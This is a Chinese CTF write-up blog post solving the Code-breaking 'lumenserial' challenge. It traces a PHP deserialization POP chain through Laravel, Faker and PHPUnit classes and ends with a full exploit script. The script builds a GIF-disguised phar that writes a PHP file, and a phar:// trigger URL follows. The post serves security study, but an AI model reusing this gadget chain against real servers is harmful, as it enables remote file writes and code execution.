Hpdoger's Blog.

Code-breaking-medium之lumenserial

Word count: 1,327 / Reading time: 6 min
2019/01/09 Share

Code-breaking-medium之lumenserial

一道pop链很深的题,复现了一天,到目前已经有九个人做了。太菜了,只能照着柠檬和kk师傅的wp来学习思路。通过这次的复现,感受到耐心对审计的importance。记录一下在学习wp过程中得到的他见与己见。

题目地址:https://code-breaking.com/puzzle/7/

前期

一个ueditor的页面

在App\Http\Controllers的EditorController.php里提供了远程下载功能

1
2
3
private function download($url)
{
$content = file_get_contents($url);

url可控为以GET形式传入的source值,由于禁止了以下函数,所以只能利用Phar反序列化再打通pop链

1
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

Searching POP chain

因为phar反序列化不会反序列化类中的具体函数,所以要找两个魔法方法入口:__destruct|__wakeup这点在柠檬师傅的博客园看到的,也算是经验之谈了。

首先在namespace Illuminate\Broadcasting里找到PendingBroadcast类存在destruct

1
2
3
4
5
6
7
8
9
10
11
12
class PendingBroadcast
{
public function __construct(Dispatcher $events, $event)
{
$this->event = $event;
$this->events = $events;
}
public function __destruct()
{
$this->events->dispatch($this->event);
}
}

Dispatcher是一个接口,所以这里$event、$events应该都是一个继承于这个接口的obj。但是看了下,一共就只有两个类继承于Dispatcher(BusFake、EventFake),且都无法利用。所以转向去寻找存在__call方法的类,看是否可以利用。

为什么要找存在_call方法的类的?根据PHP文档,当一个类里没有定义的方法时,在执行这个不存在方法时,它就会自动调用该类里的__call方法来实现方法重载。

所以要找一个有_call方法的类–>类ValidGenerator。

ValidGenerator

1
2
3
4
5
6
7
8
9
10
11
12
13
public function __call($name, $arguments)
{
$i = 0;
do {
$res = call_user_func_array(array($this->generator, $name), $arguments);
$i++;
if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
}
} while (!call_user_func($this->validator, $res));

return $res;
}

$name的值就是dispatch。如果我们能控制$res,就相当于能控制call_user_func的函数和参数

由于在call_user_func_array()中,Generator类没有定义dispatch函数,所以又会调用Generator类的_call函数,跟进Generator类

Generator类

1
2
3
4
public function __call($method, $attributes) 
{
return $this->format($method, $attributes);
}

继续跟进format方法

1
2
3
4
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

$formatter的值不可控,且初值为dispatch,继续跟进getFormatter()

1
2
3
4
5
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}

在这步似乎看到了希望,因为它return 了一个数组的值,就比较好控。想办法让$this->getFormatter($formatter)的值是一个数组,即第一次getFormatter()返回的值是数组。数组只有一个值仍为getFormatter,此时$arguemnts为空,因为call_user_func_array,它就会再调用一次getFormatter方法,参数为空。

根据getFormatter方法当参数为空时,返回formatters成员的第一个值。

所以我们需要有两个Generator类:第一个类的formatters成员的键名为dispacth,键值为一个数组(内容为第二个Generator类名$ob2、方法名getFormatter);第二个Generator类的formatters键名随意,键值为我们想要控制的类,此时$res就算可控了。

回身处理validator

那么$this->validator如何处理呢?

这里看到师傅们找的了一个跳板类,赋值给了validator

phpunit\phpunit\src\Framework\MockObject\Stub\ReturnCallback.php:26

1
2
3
4
5
6
7
namespace PHPUnit\Framework\MockObject\Stub;
class ReturnCallback implements Stub
{
public function invoke(Invocation $invocation)
{
return \call_user_func_array($this->callback, $invocation->getParameters());
}

invocation接口实现方法

getParameters()是接口的一个方法,用来访问私有属性parameters的值

找到调用这个接口的类就行了,这里是

1
2
3
4
5
namespace PHPUnit\Framework\MockObject\Invocation;
class StaticInvocation implements Invocation, SelfDescribing
{
private $parameters;
}

这个类可以通过上面getFormatter方法控制。至此,invoke()里call_user_func_array中的两个参数我们都可控了

构建POC思路

给validator一个数组(内容为实例化的ReturenCallback类、invoke方法名)。即$this->validator参数就成了invoke(),从而让call_user_func调用invoke方法,invoke方法中的Call_user_func_arrary再执行可控函数来getshell

总结一下,Invoke的回调函数能getshell的原因有二:
1、$this->callback 反序列化可控
2、继承invocation的类名返回值可控(getFormatter实现)

Final-EXP

看到kk师傅有一个exp写的很好,把审计流程串成EXP,稍作改动,这里贴出来学习下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
function __construct(){
$this->events = new \Faker\ValidGenerator();
$this->event = 'everything';
}
}
}

namespace PHPUnit\Framework\MockObject\Invocation{
class StaticInvocation{
function __construct(){
$this->parameters = array('/var/www/html/upload/hpdoger.php','<?php print_r(file_get_contents('../../flag_larave1_b0ne'));?>');
}
}
}

namespace PHPUnit\Framework\MockObject\Stub{
class ReturnCallback{
function __construct(){
$this->callback = 'file_put_contents';
}
}
}

namespace Faker{
class ValidGenerator{
function __construct(){
$evilobj = new \PHPUnit\Framework\MockObject\Invocation\StaticInvocation();
$g1 = new \Faker\Generator(array('everything' => $evilobj ));
$g2 = new \Faker\Generator(array("dispatch" => array($g1, "getFormatter")));

$rc = new \PHPUnit\Framework\MockObject\Stub\ReturnCallback();

$this->validator = array($rc, "invoke");
$this->generator = $g2;
$this->maxRetries = 10000;
}
}

class Generator{
function __construct($form){
$this->formatters = $form;
}
}

}
namespace{
$exp = new Illuminate\Broadcasting\PendingBroadcast();
print_r(urlencode(serialize($exp)));

// phar
$p = new Phar('./hpdoger.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($exp);
$p->addFromString('1.txt','text');
$p->stopBuffering();
}

上传文件,接着进行反序列化

1
http://51.158.73.123:8080/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/9af04fac3af8c9d11572234ca3c4c98b/201901/09/26b5b639d9f75a9426cf.gif

再次膜前辈师傅们

CATALOG
  1. 1. Code-breaking-medium之lumenserial
  2. 2. 前期
  3. 3. Searching POP chain
  4. 4. ValidGenerator
  5. 5. Generator类
  6. 6. 回身处理validator
    1. 6.1. invocation接口实现方法
    2. 6.2. 构建POC思路
  7. 7. Final-EXP